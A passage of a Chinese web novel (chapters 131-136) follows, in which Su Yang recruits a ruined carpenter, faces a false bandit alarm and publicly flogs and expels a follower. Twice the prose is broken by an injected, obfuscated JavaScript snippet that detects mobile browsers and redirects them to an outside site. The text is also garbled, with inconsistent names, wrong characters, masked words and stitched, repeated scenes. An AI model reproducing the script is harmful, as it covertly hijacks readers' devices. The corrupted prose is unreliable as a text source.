“对啊!”路旭东这才回过神来,使劲拍了下脑门,“我说怎么一路上都觉得不对劲,原来是少了他们!” 他终于明白了苏阳的意思。 苏阳并不是真的要跟吕管事和解。 眼煞豹那帮人,就像是一根刺,扎在苏阳的心里。不拔掉这根刺,他以后别想在三溪镇安稳发展。 那些手艺人没来,就是一个信号。 还有,那个一直跟在他们屁股后面的卖肉小贩,也不知道什么时候没了踪影。人家还要在三溪镇混口饭吃,得罪苏阳或许没什么,可要是得罪了眼煞豹,那可就真是在阎王殿里挂了号! “这事儿,不能就这么算了。”苏阳的声音低沉而坚定。 不是为了出一口恶气,而是为了扫清障碍。 为了日后的发展,苏阳必须除掉眼煞豹这个拦路虎。 就在这时,路边的树林里突然冲出几个人,拦住了他们的去路! “什么情况?!” 众人顿时紧张起来。 难道说,还没等他们动手,眼煞豹那帮人就先找上门来了? 路旭东手脚麻利,立刻举起蹬张**,准备给对方一个迎头痛击! 其他几个小子也纷纷举起**弓,瞄准了来人! “都别动!”苏阳低喝一声,制止了他们的行动。 他眼尖,一眼就看出,这几个人根本不是什么**。 老的、少的,一个个面黄肌瘦,手里连根棍子都没有,拿什么**? 路旭东他们也看清了来人的模样,一个个尴尬地挠着头:“误会,误会……” “差点吓尿了!”孔远山夸张地拍着胸口。 为首的冯老汉,直接被这阵仗吓瘫了,一屁股坐在地上,连连摆手:“别……别动手,我们……咱们都是善良之辈……” 他说话的声音都变了调,带着哭腔。 苏阳皱了皱眉,他不喜欢别人动不动就给他下跪,但也没有上前搀扶,只是淡淡地说道:“站起来说话。” 虽说这几个人看起来没什么威胁,但小心驶得万年船。 “是……是……”冯老汉哆哆嗦嗦地站起身,旁边的人赶紧扶了他一把。 “这位……这位少爷,我是来找活儿干的,”冯老汉结结巴巴地说道,“听说您要找木匠,我……我就是个木匠……” 他指了指身边的两个人:“这是我家老大,这是我徒弟……” 苏阳耐着性子,听他把话说完。 原来,这冯老汉是三溪镇的木匠,手艺是祖传的,在当地也算小有名气。 可惜天有不测风苏,人有旦夕祸福,他家遭了难,家产被抢了个精光,老婆孩子也差点没保住。 “要是您不嫌弃,就让我跟着您干吧,”冯老汉说着,眼泪都快下来了,“我不要工钱,只要能有口饭吃就行……” 苏阳听完,眉头紧锁,心中暗自思量起来。陈木匠这辈子,最得意的就是自己的一双儿女。 大儿子跟他学木工,锛凿斧锯,样样精通,是把干活的好手。小儿子呢,不爱摸木头,就喜欢捧着书本,私塾先生都夸这孩子将来准能考个功名。 陈木匠做梦都想,等老了以后,左手边大儿子伺候着,右手边小儿子孝敬着,那日子,啧啧,比神仙还快活! 可惜天有不测风苏。 这天,冯家正围着桌子吃饭。 突然,“砰”的一声巨响,门板子都快被踹飞了。 几个五大三粗的汉子闯了进来,腰间别着刀,一看就不是善茬。 “谁是冯老头?” 领头的汉子,一脸横肉,眼睛瞪得像牛蛋。 “我,我就是……” 陈木匠吓得一哆嗦,筷子都掉到了地上。 那汉子从怀里掏出一张纸,往桌子上一拍,震得碗筷直跳。 “看看吧,你儿子欠我们西家的钱!” 陈木匠颤巍巍地拿起那张纸,只看了一眼,差点没背过气去。 借据! 白纸黑字,连带着他那小崽子的签字! “爹……我……” 小儿子躲在陈木匠身后,头都不敢抬。 陈木匠这才知道,自家这小兔崽子,竟然背着他去赌钱! 还欠了眼煞豹一屁股债! “冯老头,别说废话,赶紧还钱!” 领头的汉子不耐烦地催促道。 “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006454|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位好汉,能不能宽限几天?我,我……” 陈木匠还想求个情。 “宽限?做梦!” 汉子狞笑着打断了他。 “要么还钱,要么……嘿嘿,拿人抵债!” 陈木匠一听,顿时瘫坐在地上。 眼煞豹的规矩,三溪镇谁不知道? 利滚利,驴打滚,那是能把人逼上绝路的**! 别说他冯家,就是把三溪镇所有木匠都算上,也填不满这个窟窿! “还,还,我们还……” 陈木匠嘴唇哆嗦着,一个劲儿地念叨。 可怎么还? 砸锅卖铁,把祖宅都给卖了,也还差着老麻一截! 最后,陈木匠的老婆子急火攻心,差点窒息而亡,直接就去了。 大儿媳妇也被眼煞豹的人给抢走了。 陈木匠的大儿子想拦,被人家一顿拳打脚踢,差点没**。 说到那个惹是生非的熊孩子? 听说眼煞豹要来抓他,吓得连夜就跑了,影儿都没了! 好端端的一个家,就这么散了。 陈木匠欲哭无泪,只能带着大儿子,还有两个收养的徒弟,住进了镇外的破茅屋里。 眼煞豹还放出话来,谁要是敢帮陈木匠,就是跟他过不去。 这下子,陈木匠算是彻底没了活路。 他听说苏阳要找木匠,就想来碰碰运气。 可又怕眼煞豹找麻烦,只能躲在半路上等着。 “三溪镇上,像你这样恨眼煞豹的,还有多少?” 苏阳一边听陈木匠诉苦,一边盘算着。 “那可多了去了!” 陈木匠一提起眼煞豹,眼珠子都红了。 “那恶霸,开赌馆,放印子钱,还收保护费!我们这些手艺人,辛辛苦苦挣点钱,全被他给刮走了!” “那你说,要是咱们偷偷去找人,有没有人愿意跟我去青龙村?” 苏阳又问道。 陈木匠张了张嘴,没敢应声。 他怕啊! 眼煞豹的手段,他可是见识过的。 万一走漏了风声,那可就全完了! “行了,有你一家也够了,剩下的,慢慢来。” 苏阳也没指望一下子就能把三溪镇的匠人都给挖走。 他让陈木匠先回去收拾东西,然后赶着牛车,结伴返回龙村。 第一百三十二章 一路上,村里人看见苏阳又拉回来一车东西,眼睛都红了。 “苏家小子,这是又发财了啊!” “跟着他干,准没错!” “早知道,当初我也该跟着他去三溪镇!” …… 苏阳没理会这些闲言碎语,直接把陈木匠一家带回了家。 他找了间空屋子,让陈木匠他们先住下。 “这房子是破了点,不过收拾收拾也能住人。” 苏阳指着那间年久失修的屋子说道。 “苏少爷,这已经很好了,比我们住的茅草屋强多了!” 陈木匠感激涕零。 “你们先歇着,等养足了精神再干活。” 苏阳看他们一个个面黄肌瘦的,也没忍心让他们立刻上工。 晚饭的时候,陈木匠一家看着桌上的饭菜,眼泪都下来了。 白面馒头! 大米饭! 还有大块的肉! “苏少爷,您真是菩萨心肠啊!” 陈木匠哽咽着说道。 苏阳压根不知道陈木匠为啥哭。 他只当是陈木匠一家高兴的。 “赶紧吃吧,吃饱了才有力气干活。” 苏阳招呼着大家吃饭。 他心里还惦记着另外一件事。 五个瓦溜已经买回来了,是时候琢磨琢磨怎么制糖了。 还有,凤子楼和青虎岭那边,也得去打探打探消息。 知己知彼,才能百战不殆嘛! 苏阳正想着,四眼子慌慌张张地跑了进来。 “阳哥儿,不好了!” “咋了?” “土匪,土匪来啦!” 四眼子指着村口的方向,大声喊道。锣声如催命的鼓点,在青龙村上空炸响。 刚吃完饭,苏阳正琢磨着五个瓦溜怎么制糖。一听这动静,他心里“咯噔”一声,抓起一面平时用来集合的破锣就往外冲。 “哐哐哐哐哐……” 急促的锣声,像是要把这午后的宁静撕成碎片。 苏阳这两天觉得训练强度太大,刚给手下放了假,让他们回去歇息,顺便洗漱一番。谁想,偏偏这时候出事了! “土匪……土匪来了!” 四眼子跌跌撞撞地跑进来,脸都白了,上气不接下气。 顾不上多想,苏阳脑子里只有一个念头:集合! 铜锣敲响即为号令! 这是他平时反复强调的,甚至还搞过几次演习。 不管正在忙啥,哪怕在上茅房,也得第一时间拎着家伙事儿过来! 苏阳手下的小子们,一个个从各处屋里、院子里、甚至田埂上飞奔而来,动作还算迅速。 即使是那些新来的,也没太拖后腿。 苏阳快速扫视集合的队伍,眉头微皱。 他没说话,只是用目光快速清点人数。 石头凑了上来,低声道:“二哥,少了个人,和四没来。” “不管他,先去村口!” 苏阳当机立断,一挥手,带着队伍朝村口奔去。 …… 村北,一间破屋。 与其说是屋子,不如说是个四面漏风的窝棚。 和四当然听到了锣声。 他甚至已经坐起身,准备下床。 可一只胳膊,却像蛇一样缠了上来。 “四虎,别走……外面乱……你要是出点啥事,咱儿子可咋活……” 声音又娇又媚,还带着哭腔。 和四叹了口气,重新躺倒。 他转过身,看着那张梨花带雨的脸,伸手轻轻抚摸。 “嫂嫂……” “嗯……四虎,你说,要是没这档子事,咱俩……” 女人没把话说完,只是把脸埋进和四怀里。 “别想这些了,嫂嫂。快些吧,别让娃儿等急了。” 和四的声音有些沙哑。 “嗯……” …… 苏阳带着队伍,沿着村里的小路,一路疾行。 平日里练出来的体能,这时候发挥了作用。 青龙村不大,村口转眼就到。 一圈土墙围着村子,两扇厚重的木门紧闭着。 几个卫村队员,正紧张地趴在墙头向外张望。 手里的家伙也是五花八门,锄头、扁担、菜刀…… 苏阳扫了一眼,心里稍稍踏实了些。 至少,村子还没被攻破。 他回头对陈木生说:“石头,你带几个身手好的,先上墙看看情况。其他人,原地待命!” 陈木生应了一声,点了几个平时练得比较好的小子,拎着刀,沿着梯子爬上了墙。 苏阳则留在下面,目光扫过每一个村民。 男女老少都有,脸上都带着惊恐。 一个老头,手里紧紧攥着一根烧火棍,浑身哆嗦个不停。 一个年轻媳妇,怀里抱着个孩子,孩子吓得哇哇大哭。 苏阳深吸一口气,强压下心头的焦虑。< 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“卓村正,你少说两句!苏二也是为了村子!” …… 王婉苏也意识到自己刚才的举动有些不妥,脸涨得通红,赶紧松开了苏阳的胳膊。 苏阳没再理会赖志成,转身对其他人说道:“兄弟们,别听他胡咧咧!跟我上墙,杀土匪!” 他一马当先,沿着木梯登上围墙。 站在墙头,往外一看,苏阳却愣住了。 这……这是土匪? 他预想中的凶神恶煞、杀气腾腾的场面,并没有出现。 眼前的情形,让他有点发懵。 他甚至开始怀疑,是不是四眼子看错了,来的人根本就不是土匪?“村外哪来的土匪?” 苏阳站在刚垒砌了一半的矮墙上,叉着腰,远远眺望,一脸的难以置信。 “就这……四个?” 他使劲揉了揉眼睛,又眯缝起来仔细瞧了瞧,忍不住“嘶”了一声。 眼前的景象,和他想象中完全不一样。 没有凶神恶煞的悍匪,没有明晃晃的刀枪,只有四个瘦骨嶙峋的老头,正可怜巴巴地站在村外。 这四个老头,一个个面黄肌瘦,身上的衣服比抹布还破,补丁摞着补丁,简直像刚从垃圾堆里爬出来。 第一百三十三章 手里倒是都拿着家伙,只是…… 锤子?凿子?錾子? 这哪是来打家劫舍的?分明是逃荒的泥瓦匠迷了路! 几个“泥瓦匠”畏畏缩缩,距离村寨围墙约莫数十步,探头探脑的,活像几只受惊的老鼠。 “这是谁喊的土匪来了?” 苏阳跳下矮墙,一把拽住身旁一个卫村队的队员,指着村外问道。 “俺……俺也不知道啊。” 这队员一脸懵圈,眼神都是直的。 “大家伙儿正忙着搬砖砌墙呢,突然就听见有人喊了一嗓子,声音还挺大,说‘土匪来了’,然后大伙儿就慌了,稀里糊涂地关上了村门,爬上了墙头……” 他挠了挠头,越说越觉得自己像个傻子。 苏阳又接连问了好几个卫村队员,得到的答案大同小异。 没一个人知道最初是谁喊的,反正就是一阵鸡飞狗跳。 苏阳一阵无语。 就这阵仗,别说四个“泥瓦匠”了,来四个半大的孩子都能把他们吓成这样! 指望这些人保卫村子? 难! “都别慌!先别动手!等我问清楚再说!” 苏阳赶紧大声制止,生怕哪个手欠的把手里的**箭给射出去。 误伤了自己人,那可就闹笑话了! 他深吸一口气,清了清嗓子,用尽全身力气,朝着村外吼道: “喂——!对面的!报上名来!鬼鬼祟祟的,在我们青龙村外头干啥呢?” 几个老头被这突如其来的一嗓子吓得一哆嗦,手里的家伙差点掉在地上。 其中一个胆子稍微大点的,举起手里的凿子,结结巴巴地解释起来。 奈何双方口音差异太大,苏阳听得苏里雾里,完全不知所苏。 最后还是靠着连比划带猜,才勉强弄明白。 这四个老头,还真不是土匪,而是从三溪镇过来的石匠。 他们听说了苏阳招工的消息,可又听说了苏阳得罪了眼煞豹的事。 担心在三溪镇露面会惹麻烦,这才偷偷摸摸绕了个大圈,想来青龙村看看有没有机会。 弄清原委,苏阳又好气又好笑。 自己在这儿严阵以待半天,结果连土匪的影子都没见着,反倒把一群老实巴交的石匠吓得够呛。 不过,这也算是个好事。 最起码,村民们的警惕性是提高了,也算是歪打正着,来了一次“实战演习”。 苏阳正琢磨着,忽然发现周围不少村民都蔫头耷脑的,一副没精打采的样子。 他眉头一皱,心想这可不行,士气低落,还怎么防土匪? “都给我打起精神来!” 苏阳猛地一拍身边的一块石头,发出“啪”的一声巨响。 所有人都被吓了一跳,下意识地看向他。 “乡亲们!听我说!” 苏阳一跃跳上一块高高的石头,环视四周。 “我知道,大家伙儿现在可能有点失望,觉得白忙活了一场。 ”但是!“ 他话锋一转,声音陡然提高。 ”咱们这次,做得很好!“ ”这说明什么?说明咱们青龙村的村民,有警惕性!有血性!有骨气!“ ”只要咱们时刻保持警惕,真有贼人来犯,咱们照样能把他们打得屁滚尿流!“ 一番话,说得斩钉截铁,掷地有声,顿时让村民们精神一振。 ”另外,告诉大家一个好消息!过不了几天,我还要招人!这次没赶上的,下次可别再错过了!“ 苏阳趁热打铁,又抛出一个重磅消息。 ”好!“ ”太好了!“ ”苏二又在扩充队伍了,这回俺家小子可得抓紧了!“ …… 人群顿时欢呼起来,先前的低落情绪一扫而空。 苏阳平时训练有素,赏罚分明,他手下那帮小子,一个个精神抖擞,早就让不少村民眼红不已。 哪个当爹的不希望自家儿子也有出息? 但愿自家崽子能跟着苏二混,学点真本事,将来也能保护家人,那该多好! 苏阳在村民心中的威望,正悄无声息地增长着。 虽然还没法和村正赖志成相比,但也已经有了分庭抗礼的势头。 毕竟,苏阳还年轻,以前的名声也不太好。 想要彻底压过赖志成,还需要时间和更多的功绩。 高台上,苏阳意气风发,挥斥方遒。 高台下,赖志成脸色铁青,牙齿咬得咯咯作响。 他只能干瞪眼看苏阳收割好感度,看着小姨子王婉苏看向苏阳的眼神越来越亮,心里像被猫爪子挠一样难受。 一股邪火在赖志成心中乱窜,他甚至希望,此刻来的不是几个软弱可欺的老石 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这事儿已经翻篇了,这家伙才跑来,而且一来就主动请罚? 事出反常必有妖! ”说说吧,家里出了啥事?比土匪攻村还急?“ 苏阳双手抱在胸前,语气淡淡的,让人听不出喜怒。 ”我……我嫂子……她病了……是急症!“ 和四眼神躲闪,说话也结结巴巴的。 ”哦?嫂子病了?还是急症?“ 苏阳嘴角微微上扬,露出一丝意味深长的笑容。 ”那可得赶紧去看看,别耽误了病情!乡亲们,走,咱们一起去看看,有啥能帮上忙的!“ 说着,苏阳就要带人往和四家走。 ”不……不用了,阳哥儿,我嫂子她……她的病……又好了!“ 和四一听这话,顿时慌了,连忙摆手,眼神更加慌乱。 他话音未落,人群中突然飞出一脚。 砰! 和四惨叫一声,整个人像断了线的风筝一样飞了出去,重重地摔在地上,半天爬不起来。 ”啊!“ ”阳哥儿,你这是干啥?“ ”苏二,不能**啊!“ ”快住手! 第一百三十四章 “ …… 人群顿时炸开了锅,惊呼声、劝阻声响成一片。 苏阳手下那帮小子,也都一个个目瞪口呆。 这也太狠了! 雷厉风行,一点征兆都没有! 阳哥儿这回是真动了怒! 有些新来的小子,却有些不服气,觉得苏阳小题大做,甚至替和四打抱不平。 不就晚来了一会儿吗? 谁家还没个急事? 更何况,和四他嫂子病了,他被迫在家当保姆,也是人之常情嘛! 谁不知道,和四他爹娘死得早,是他嫂子张氏一把屎一把尿把他拉扯大的? 和四对这个嫂子,那是比亲娘还亲,现在嫂子病了,他能不着急? 就因为这,苏阳就动手**? 太不讲理了吧! ”就是,阳哥儿,和四他也是一片孝心,你就饶了他这回吧!“ ”可不是嘛,苏二,和四这孩子平时最听话了,有啥好吃的都先想着他嫂子,你不能这么对他啊!“ ”和麻呢?和四他麻哥呢?快出来劝劝啊!“ 人群中有人嚷嚷起来,替和四求情。 ”和麻?在哪儿呢?快让你兄弟少说两句,别惹苏二生气了!“ 有人眼尖,在人群中发现了和四的麻哥和麻,连忙招呼他。赖志成眼珠滴溜一转,嘴角都快咧到耳根了。 嘿! 苏二这愣头青,天堂有路你不走,地狱无门闯进来! 正愁找不到由头治你,这下好了,自己往枪口上撞! “我说苏二,你这是唱的哪一出?就算和四犯了错,也不能往死里打吧?都是一个村的,低头不见抬头见……” 赖志成故意扯着嗓子,那腔调,要多“诚恳”有多“诚恳”。 他斜眼瞟着周围,不少村民都跟着附和点头。 “就是,就迟到这么一小会而已,能有多大事?” “谁家还没个病人,苏二这娃,还是太年轻。” 人群里,窃窃私语声此起彼伏。 就连躺在地上装死的和四,也偷偷抬眼,朝赖志成投去感激的一瞥。 苏阳新收的那几个小子,互相交换着眼神,表情那叫一个复杂。 他们心里嘀咕: “苏二哥平时挺讲道理的啊,今儿这是咋了?” “该不会是,真拿咱们当私兵了吧?” 不过,石头、孔远山、毕明志和路旭东这几个“老班底”,却没吭声。 他们跟苏阳摸爬滚打这么久,早把苏阳的脾性摸透了。 平时看着笑呵呵的,可一旦认真起来,那就是六亲不认的主儿! 这回这么大动干戈,肯定有猫腻! 和四缺席? 哼,绝不只是他那个病秧子嫂子那么简单! 苏阳压根没搭理周围那些嗡嗡声。 他现在,就是要杀鸡儆猴! 谁来求情,都没用! “石头,周阳!” 苏阳声音不大,却像炸雷一样在人群中炸开。 “把他的衣服,给我扒了!” 他顿了顿,咬牙切齿地补充道: “重重教训他五十下,撵出去,以后别让我再看见他!” 这话一出口,可把和四吓得魂飞魄散。 从一个精壮汉子到面无人色,中间只隔了苏阳的一句话。 他哪能想到,平时一起吃肉喝酒的兄弟,真翻起脸来,比阎王爷还吓人! 和四扑通一声跪倒在地,膝盖都快磕碎了。 “阳哥,阳哥!我以后一定规矩,您就饶了我这回吧!” 他一把鼻涕一把泪地哀求,全然忘了自己之前还觉得苏阳小题大做。 他现在只记得,当初签下的那份契书。 那张薄薄的纸,现在就像催命符一样,在他脑子里嗡嗡作响。 他可是记得,苏阳在三溪镇上,是咋对付那个碰瓷的。 前脚还笑眯眯,后脚就把人腿给打断了! 当时苏阳说的那句话,他现在还记得真真的——“专治各种不服”! 周围的村民也都傻眼了。 这是要出人命啊! 苏二这是要干啥? 就算和四真犯了错,也不能这么往死里整啊! 石头和周阳对视一眼,犹豫了。 毕竟是自家兄弟,真要下这么重的手…… 可苏阳的眼神,像两把刀子,直直地戳在他们心窝子上。 “你们,也想抗命?” 苏阳的声音冷得像冰碴子。 两人打了个哆嗦,二话不说,扑上去就要扒和四的衣服。 和四急了,跟条泥鳅似的又扭又挣。 周阳阳了,抬手就是几个大嘴巴子。 “**!” 清脆的耳光声,在人群中格外刺耳。 和四被打得眼冒金星,彻底没了力气。 石头和路旭东一拥而上,没几下就把和四扒了个精光。 “啊……” 几个上了年纪的妇人,吓得 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和麻梗着脖子,一副豁出去的模样。 他这话一出口,周围顿时响起一阵窃笑声。 谁不知道,和麻最怕他媳妇。 “要打就打俺,俺皮糙肉厚,禁打!” 和麻继续嚷嚷。 和四看着自家麻哥这般模样,眼泪鼻涕流了一脸。 还是麻哥好啊! 关键时刻,还得靠亲哥! “滚**!” 石头怒骂一声,一脚踹在和麻屁股上。 他这一脚,可没留力气。 和麻“哎呦”一声,直接飞了出去,摔了个狗啃屎。 “周阳,动手!” 石头吼道。 周阳深吸一口气,抡圆了鞭子,狠狠地抽了下去。 “啪!” 鞭子抽在皮肉上的声音,格外响亮。 这一鞭子,不仅抽在了和四身上,也抽在了所有人的心里。 苏阳面无表情地看着这一切。 他知道,今天这事儿,肯定会有人说他心狠手辣。 可他不在乎。 他要的,就是立威! 他要让所有人都知道,跟着他苏阳,就得守规矩! 谁要是敢不听话,这就是下场! 第一百三十五章 苏阳手底下那帮小子,一个个都吓得噤若寒蝉。 特别是刚入门的菜鸟们,更是把脑袋缩进了脖子里,大气都不敢出。 “住手!快住手!周阳,你个**的,再敢打俺男人,姐今天跟你死磕到底!” 突然,一声尖利的哭嚎,从远处传来。 一个披头散发的妇人,像疯了一样冲了过来。 她一边跑,一边破口大骂,什么难听骂什么。 “周阳你个天杀的王八羔子,老娘挠死你!还有你家那个瞎了眼的老太婆,生出你这么个丧尽天良的玩意儿……” 妇人边骂边往周阳身上扑,那架势,恨不得把他生吞活剥了。 围观的村民们,顿时炸开了锅。 “哎呦,和四他媳妇来了!” “这大冷的天,还病着呢,就给逼成这样……” “苏二这回,真是作孽啊!”锣声响过,苏阳的脸色阴沉。 他没想到,真有不长眼的敢挑战他的权威。 “和四,你来说说,为什么不来集合?” 苏阳的声音冷冷的。 人群里,和四被吊在树上,五花大绑。 他支支吾吾,眼神闪躲,明显是想找个借口,但一时半会儿又编不出来。 “阳哥儿,我……我婆娘病了,得在家照顾她……” 和四低着头,声音越来越小。 “哦?”苏阳眉梢一挑。 “你嫂子病了?” 他故意停顿了一下。 目光在人群中扫了一圈,慢悠悠的开口: “我怎么听说……有人说,你小子是忙着……跟你嫂子快活?” 这话一出,像是在人群里丢了个炮仗。 “啥?和四跟他嫂子?” “不能吧,他哥和麻还在呢!” “这事儿,不好说……” 窃窃私语声中,和四的脸涨成了猪肝色。 他想大声反驳,可一对上苏阳冷冰冰的眼神,立马又没了底气。 苏阳的手段,他可是见识过的,真要惹恼了他,自己绝对没有好果子吃。 “苏二,你个小兔崽子,你别血口喷人!” 突然,一个尖利的女声,像把刀子一样插了进来。 人群分开,一个头发散乱的妇人冲了出来,正是和四的嫂子。 她张牙舞爪地扑向苏阳,可没跑两步,就“哎哟”一声,差点摔倒,幸好被身边的村民扶住了。 “四虎,我的四虎啊,你怎么样了?哪个天杀的把你打成这样?” 妇人顾不上自己,跌跌撞撞地扑到和四身边。 声音都哭哑了,眼泪止不住地往下流。 她想去解开和四的绳子,手却抖得厉害,半天也解不开。 “别动!”孔远山突然大喝一声。 “苏阳哥没发话,谁敢解开他?” 他这一嗓子,把和四嫂子吓得一哆嗦,手也停在了半空。 人群中,赖志成看着这一幕,嘴角微微上扬。 他要的就是这个效果。 “和家嫂子,别责怪苏二了,他也是为了大家好。” 他装模作样地叹了口气。 “可你家和四不来集合,总得有个说法吧?” 他这话,看似在劝解,实则步步紧逼。 和四嫂子被他盯得浑身不自在,眼神闪躲,不敢与他对视。 她心里清楚,这事儿瞒不住了。 可她又不能承认,一旦承认了,自己和和四就完了。 就在这时,人群中突然有人喊了一嗓子: “哎呦,我说和四家的,你这脸色,咋这么红润呢?看着不像生病,倒像是……” 说话的人故意拉长了声音,语气中满是暧昧。 “对啊,你再看看她看和四那眼神,啧啧啧,跟要吃了蜜似的!” 另一个人也跟着起哄。 这下,人群彻底炸开了锅。 大家都是过来人,还能不懂这点事? “我说,和麻呢?他咋没动静?” 有人开始寻找和麻的身影。 “嘿,你还别说,和麻好像真没来!” “这下可有意思了,自己婆娘跟小叔子……啧啧啧!” “嘘,小点声,别让和麻听见了!” 议论声越来越大,和四嫂子的头也越埋越低。 她恨不得找个地缝钻进去。 可她越是这样,大家就越是肯定了自己的猜测。 “和麻呢?和麻在哪儿?” 苏阳突然开口问道。 他这一问,人群中立刻有人回应: “阳哥儿,和麻在这儿呢!” 和麻,和四的亲哥哥,一个老实巴交的汉子,此刻正一脸茫然地站在人群中。 他看看被吊着的弟弟,又看看哭得梨花带雨的婆娘,完全不知道发生了什么事。 “和麻,你过来。” 苏阳朝和麻招了招手 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“今儿个这出戏,我知道,不少人心里头肯定跟明镜似的,”他声若洪钟,震得人耳膜嗡嗡直响,“可也有人,估摸着还蒙在鼓里,不知道我苏阳为啥非要跟和四过不去。” 他故意顿了顿,让这话在众人心里头过一遍。 眼瞅着一张张脸都绷得紧紧的,苏阳这才开了口: “大伙儿都给我想想,我苏阳砸锅卖铁,拿出这么多银子,养着你们这群棒小伙,到底图个啥?” “难不成,我真是钱多烧得慌,就为让你们给我当牛做马?” “我要真只是想找几个干活的,”苏阳撇了撇嘴,一脸的不屑,“还用得着这么费劲?学学人家卓村正,随便扔几个铜板,还怕找不到人?” 台下,赖志成脸皮子一抽,想说点啥,可嘴巴张了半天,愣是一个字也没憋出来。 “当初招人的时候,我就跟你们掏心窝子,说得明明白白,招你们是干啥的?是保家卫村的!”苏阳猛地一掌拍在大腿上,震得台子都晃了三晃,“保我苏阳的命,也是保你们自个儿的命!” “不像有些人,”他眼角一斜,瞥了赖志成一眼,话里话外透着一股子嫌弃,“养了一群废物点心,除了吃白饭,啥正事不干,手底下的人是死是活,人家压根就不带瞅一眼的! 第一百三十六章 ” 赖志成气得鼻子都歪了,可也只能打碎了牙往肚子里咽,谁让自己理亏呢。 “平日里,你们偷奸耍滑,我也就睁一只眼闭一只眼了。”苏阳语气一变,陡然严厉起来,“可今儿个这事儿,那可不一样!” “要是哪天,真有土匪摸上门来,和四说他媳妇病了来不了,石头说他娘腿疼来不了,周阳说他家狗丢了来不了……” 苏阳越说越气,猛地一跺脚:“你也有事,他也有事,都**来不了,谁来保卫村子?谁来保护咱们的家?” “你们再看看人家卓村正,”苏阳拿手指着赖志成,话里可没半点好气,“虽说没胆子真刀**地干,可好歹人家还知道出来露个脸,是不是?” “再看看和四,连人家卓村正都不如,你说我要他还有个鸟用!” 赖志成只觉得脸上像被人抽了几个大嘴巴子,火辣辣的疼,恨不得找个老鼠洞钻进去。 “当初招人的时候,可是签了**契的,”苏阳从怀里掏出一张纸,抖得哗啦哗啦响,“是死是活,跟家里再没半毛钱关系!” “这才过了几天安生日子,就有人把这事儿给忘了?”苏阳冷笑一声,“要是真忘了,那今儿个我就再给你们长长记性,我苏阳说到做到,不似某些墙头草,说话不算数!” 赖志成气得差点没背过气去,可又不敢吱声,只能在心里把苏阳骂了个狗血淋头。 苏阳长出了一口气,平复了一下心情: “得了,今儿个我就给和麻麻哥、大嫂一个面子,这事儿就先这么着了,剩下的鞭子,我也不打了。” 他转头看向石头和周阳,面无表情地说:“你们两个,把咱们发的衣裳脱下来还给和四,让他爱哪儿凉快哪儿凉快去!” “二爷,使不得啊!” 和四嫂子一听这话,吓得魂飞魄散,扑通一声就跪下了。 “二爷,您就行行好,饶了和四这回吧!他就是一时鬼迷心窍,以后再也不敢了!” 和四嫂子一边磕头,一边哭得一把鼻涕一把泪。 她心里跟明镜似的,和四能有今天,全靠苏阳提携。 以前,村里人见了他家男人,连个正眼都不带瞧的。 可自从和四跟了苏阳,她在村里的腰杆也硬了,谁见了她不得尊称一声“和麻娘子”? 可眼瞅着,这好日子就要到头了。 和四嫂子那个悔啊,恨不得给自己两个大耳刮子。 早知道苏二这黑判官这么不讲情面,她先前干嘛要嘴贱,非得招惹他? 要是和四被赶走了,别说现在,怕是连以前的日子都不如! “和家嫂子,你也别跟我这儿哭丧了,”苏阳一脸的不耐烦,“底线不容践踏,谁来求情也不好使。” “不过,看在你们一家子平时还算老实的份上,我可以给和四留条后路。” 苏阳话锋一转:“回去好好收拾收拾他,要是他能幡然醒悟,以后,也不是没机会再回来。” 和四嫂子一听这话,立马来了精神,也不哭了,赶忙拉着和麻,把还绑在树上的和四给解了下来,手忙脚乱地给他穿上衣服,扶着他一瘸一拐地回家了。 和四一家子走了,可苏阳还站在台上,没动地方。 他手底下那帮小子,更是连大气都不敢喘,一个个跟鹌鹑似的。 刚才苏阳那一出,着实把他们给吓得不轻。 别人不知道,他们这些跟苏阳混的还能不知道? 苏阳嘴上说得好听,给和四留了条后路,可实际上,和四这辈子都别想再进苏家的门了! “你们都给我听好了,”苏阳眼神跟刀子似的,在众人身上挨个刮过,“谁要是觉得我对和四不公平,回去问问你们爹娘,看看他们咋说!” “哈哈哈……” 台下,不少看热闹的村民都忍不住笑出了声。 那些个半大小子,却是一个个都摸不着头脑,不知道这些大人都在笑个啥。 苏阳也乐了,有些话,众目睽睽之下,他可说不出口。 不过,他相信,这些村民回去之后,肯定会把和四和他嫂子那点丑事,一五一十地告诉自家小子。 突然,苏阳脸上的笑没了,冷冰冰地说: “回去问明白了,要是还有谁觉得我苏阳不地道,现在就可以提出来,我苏阳绝不拦着!以后大路朝天,各走一边!” 他顿了顿,语气更冷了:“不过,有句话我可得说在前头,要是不走,以后再有谁犯了这事,我可没那么好糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006459|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄!真把我惹**了,我可是真会**的!” 说完,苏阳转过身,冲着一众村民大声说道: “乡亲们,你们可都听见了,我苏阳招人,不是让你们来享福的,是让你们来跟我一块儿卖命的!谁家要是舍不得孩子,趁早别让他来,省得到时候出了事,哭爹喊娘,让人笑话!” “再有下回,我定要他好看!” 说完,苏阳扭头就走,那叫一个干净利落。 身后,一帮小子赶紧跟上,别说有人敢开小差,连个磨蹭的都没有。 看着苏阳一行人走远了,村民们的心情,那叫一个五味杂陈。 有害怕的,有羡慕的,有嫉妒的,也有恨得牙痒痒的…… 就跟打翻了调料铺似的,啥味儿都有。 尤其是村正赖志成,一张老脸都快拧出水来了,恨不得把苏阳给活撕了。 